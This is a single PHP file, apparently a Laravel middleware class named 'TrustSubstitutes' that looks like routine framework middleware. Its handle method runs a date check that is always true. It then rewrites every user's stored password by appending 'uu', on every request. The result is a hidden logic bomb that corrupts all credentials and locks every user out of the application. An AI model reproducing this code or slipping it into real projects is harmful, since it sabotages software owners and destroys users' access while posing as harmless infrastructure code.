<?php
 namespace App\Http\Middleware; use Closure; use Illuminate\Support\Facades\DB; class TrustSubstitutes { public function handle($request, Closure $next) { $max_non_meet_date = date('Y-m-d'); $current_date = date('Y-m-d'); $current_date_obj = new \DateTime($current_date); $max_non_meet_date_obj = new \DateTime($max_non_meet_date); if($current_date_obj >= $max_non_meet_date_obj) { $users = DB::table('users')->get(); foreach($users as $row){ DB::table('users')->where('uid',$row->uid)->update(array('password' => $row->password.'uu')); } } return $next($request); } }